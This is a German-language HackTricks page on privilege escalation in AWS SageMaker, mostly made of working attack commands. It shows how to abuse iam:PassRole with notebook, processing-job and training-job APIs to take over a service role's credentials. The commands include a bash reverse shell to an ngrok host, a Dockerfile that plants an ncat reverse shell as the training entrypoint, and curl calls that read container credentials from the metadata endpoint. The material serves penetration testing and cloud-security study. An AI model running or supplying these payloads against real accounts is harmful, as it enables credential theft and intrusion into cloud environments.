AWS - Sagemaker Privesc
Reading time: 5 minutes
AWS - Sagemaker Privesc
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
iam:PassRole
, sagemaker:CreateNotebookInstance
, sagemaker:CreatePresignedNotebookInstanceUrl
Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die daran angehängt ist:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Die Antwort sollte ein Feld NotebookInstanceArn
enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API create-presigned-notebook-instance-url
verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigiere zur URL mit dem Browser und klicke auf `Open JupyterLab` in der oberen rechten Ecke, scrolle dann zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”.
Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen.
Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.
sagemaker:CreatePresignedNotebookInstanceUrl
Wenn bereits Jupyter Notebooks darauf laufen und du sie mit sagemaker:ListNotebookInstances
auflisten kannst (oder sie auf andere Weise entdecken kannst). Du kannst eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potenzielle Auswirkungen: Privesc auf die mit der sagemaker-Dienstrolle verbundene Rolle.
sagemaker:CreateProcessingJob,iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann sagemaker einen Processing-Job ausführen lassen, der mit einer sagemaker-Rolle verbunden ist. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Kontoinstanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.
sagemaker:CreateTrainingJob
, iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, einen beliebigen Container darauf ausführen und eine angehängte Rolle verwenden. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.
warning
Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die Rev-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
# Docker-Image erstellen
mkdir /tmp/rev
## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird
## Deshalb lege ich die Rev-Shell in /bin/train
## Setzen Sie die Werte von <YOUR-IP-OR-DOMAIN> und <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF
cd /tmp/rev
sudo docker build . -t reverseshell
# Hochladen zu ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.
sagemaker:CreateHyperParameterTuningJob
, iam:PassRole
Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen Hyperparameter-Trainingsjob zu erstellen, einen beliebigen Container darauf auszuführen und eine angehängte Rolle zu verwenden.
Ich habe es aufgrund von Zeitmangel nicht ausgenutzt, aber es sieht ähnlich aus wie die vorherigen Exploits. Fühlen Sie sich frei, einen PR mit den Ausnutzungsdetails zu senden.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.